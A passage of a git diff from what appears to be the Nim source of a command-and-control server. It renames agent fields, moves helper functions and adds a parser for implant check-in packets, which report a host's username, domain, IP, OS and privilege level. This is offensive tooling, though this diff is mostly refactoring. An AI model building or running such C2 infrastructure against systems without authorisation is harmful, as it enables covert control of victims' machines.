agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")) + """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")) conquestDb.close() except: @@ -31,11 +31,11 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"): - let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) + let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) let a = Agent( - name: name, - listener: listener, + agentId: agentId, + listenerId: listenerId, sleep: sleep, pid: pid, username: username, @@ -66,11 +66,11 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] = let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName): - let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) + let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) let a = Agent( - name: name, - listener: listener, + agentId: agentId, + listenerId: listenerId, sleep: sleep, pid: pid, username: username, diff --git a/src/server/db/dbListener.nim b/src/server/db/dbListener.nim index f942284..4978e53 100644 --- a/src/server/db/dbListener.nim +++ b/src/server/db/dbListener.nim @@ -1,7 +1,7 @@ import system, terminal, tiny_sqlite import ../utils -import ../../common/types +import ../../common/[types, utils] # Utility functions proc stringToProtocol*(protocol: string): Protocol = diff --git a/src/server/globals.nim b/src/server/globals.nim index 274e63a..d1882f0 100644 --- a/src/server/globals.nim +++ b/src/server/globals.nim @@ -1,4 +1,4 @@ -import ../common/types +import ../common/[types, utils] # Global variable for handling listeners, agents and console output var cq*: Conquest \ No newline at end of file diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim index c98d4b7..d8ada0f 100644 --- a/src/server/task/dispatcher.nim +++ b/src/server/task/dispatcher.nim @@ -1,7 +1,7 @@ import times, strformat, terminal, tables, json, sequtils, strutils import ./[parser] import ../utils -import ../../common/types +import ../../common/[types, utils] proc initAgentCommands*(): Table[string, Command] = var commands = initTable[string, Command]() @@ -158,7 +158,7 @@ proc handleAgentCommand*(cq: Conquest, input: string) = if input.replace(" ", "").len == 0: return let date: string = now().format("dd-MM-yyyy HH:mm:ss") - cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input) + cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.agentId}] ", resetStyle, styleBright, input) # Convert user input into sequence of string arguments let parsedArgs = parseInput(input) diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim index df09183..f0233c5 100644 --- a/src/server/task/packer.nim +++ b/src/server/task/packer.nim @@ -1,7 +1,6 @@ -import strutils, strformat, streams +import strutils, strformat, streams, times import ../utils -import ../../common/types -import ../../common/serialize +import ../../common/[types, utils, serialize] proc serializeTask*(task: Task): seq[byte] = @@ -98,4 +97,66 @@ proc deserializeTaskResult*(resultData: seq[byte]): TaskResult = resultType: resultType, length: length, data: data - ) \ No newline at end of file + ) + +proc deserializeNewAgent*(data: seq[byte]): Agent = + + var unpacker = initUnpacker(data.toString) + + let + magic = unpacker.getUint32() + version = unpacker.getUint8() + packetType = unpacker.getUint8() + flags = unpacker.getUint16() + seqNr = unpacker.getUint32() + size = unpacker.getUint32() + hmacBytes = unpacker.getBytes(16) + + # Explicit conversion from seq[byte] to array[16, byte] + var hmac: array[16, byte] + copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) + + # Packet Validation + if magic != MAGIC: + raise newException(CatchableError, "Invalid magic bytes.") + + # TODO: Validate sequence number + + # TODO: Validate HMAC + + # TODO: Decrypt payload + # let payload = unpacker.getBytes(size) + + let + agentId = unpacker.getUint32() + listenerId = unpacker.getUint32() + username = unpacker.getVarLengthMetadata() + hostname = unpacker.getVarLengthMetadata() + domain = unpacker.getVarLengthMetadata() + ip = unpacker.getVarLengthMetadata() + os = unpacker.getVarLengthMetadata() + process = unpacker.getVarLengthMetadata() + pid = unpacker.getUint32() + isElevated = unpacker.getUint8() + sleep = unpacker.getUint32() + + return Agent( + agentId: uuidToString(agentId), + listenerId: uuidToString(listenerId), + username: username, + hostname: hostname, + domain: domain, + ip: ip, + os: os, + process: process, + pid: int(pid), + elevated: isElevated != 0, + sleep: int(sleep), + jitter: 0.0, # TODO: Remove jitter + tasks: @[], + firstCheckin: now(), + latestCheckin: now() + ) + + + diff --git a/src/server/task/parser.nim b/src/server/task/parser.nim index 86558cb..818dd8c 100644 --- a/src/server/task/parser.nim +++ b/src/server/task/parser.nim @@ -1,6 +1,6 @@ import strutils, strformat, times import ../utils -import ../../common/types +import ../../common/[types, utils] proc parseInput*(input: string): seq[string] = var i = 0 @@ -77,8 +77,8 @@ proc parseTask*(cq: Conquest, command: Command, arguments: seq[string]): Task = # Construct the task payload prefix var task: Task task.taskId = uuidToUint32(generateUUID()) - task.agentId = uuidToUint32(cq.interactAgent.name) - task.listenerId = uuidToUint32(cq.interactAgent.listener) + task.agentId = uuidToUint32(cq.interactAgent.agentId) + task.listenerId = uuidToUint32(cq.interactAgent.listenerId) task.timestamp = uint32(now().toTime().toUnix()) task.command = cast[uint16](command.commandType) task.argCount = uint8(arguments.len) diff --git a/src/server/utils.nim b/src/server/utils.nim index 12bd1df..278ceea 100644 --- a/src/server/utils.nim +++ b/src/server/utils.nim @@ -1,7 +1,7 @@ import strutils, terminal, tables, sequtils, times, strformat, random, prompt import std/wordwrap -import ../common/types +import ../common/[types, utils] # Utility functions proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = @@ -16,49 +16,6 @@ proc validatePort*(portStr: string): bool = except ValueError: return false -proc generateUUID*(): string = - # Create a 4-byte HEX UUID string (8 characters) - (0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join() - -proc uuidToUint32*(uuid: string): uint32 = - return fromHex[uint32](uuid) - -proc uuidToString*(uuid: uint32): string = - return uuid.toHex(8) - -proc toString*(data: seq[byte]): string = - result = newString(data.len) - for i, b in data: - result[i] = char(b) - -proc toBytes*(data: string): seq[byte] = - result = newSeq[byte](data.len) - for i, c in data: - result[i] = byte(c.ord) - -proc toHexDump*(data: seq[byte]): string = - for i, b in data: - result.add(b.toHex(2)) - if i < data.len - 1: - if (i + 1) mod 4 == 0: - result.add(" | ") # Add | every 4 bytes - else: - result.add(" ") # Regular space - -proc toBytes*(value: uint16): seq[byte] = - return @[ - byte(value and 0xFF), - byte((value shr 8) and 0xFF) - ] - -proc toBytes*(value: uint32): seq[byte] = - return @[ - byte(value and 0xFF), - byte((value shr 8) and 0xFF), - byte((value shr 16) and 0xFF), - byte((value shr 24) and 0xFF) - ] - # Function templates and overwrites template writeLine*(cq: Conquest, args: varargs[untyped]) = cq.prompt.writeLine(args) @@ -153,7 +110,7 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) = for l in listeners: # Get number of agents connected to the listener - let connectedAgents = cq.agents.values.countIt(it.listener == l.name) + let connectedAgents = cq.agents.values.countIt(it.listenerId == l.name) let rowCells = @[ Cell(text: l.name, fg: fgGreen), @@ -217,14 +174,14 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) = for a in agents: var cells = @[ - Cell(text: a.name, fg: fgYellow, style: styleBright), + Cell(text: a.agentId, fg: fgYellow, style: styleBright), Cell(text: a.ip), Cell(text: a.username), Cell(text: a.hostname), Cell(text: a.os), Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite), Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite), - a.timeSince(cq.agents[a.name].latestCheckin) + a.timeSince(cq.agents[a.agentId].latestCheckin) ] # Highlight agents running within elevated processes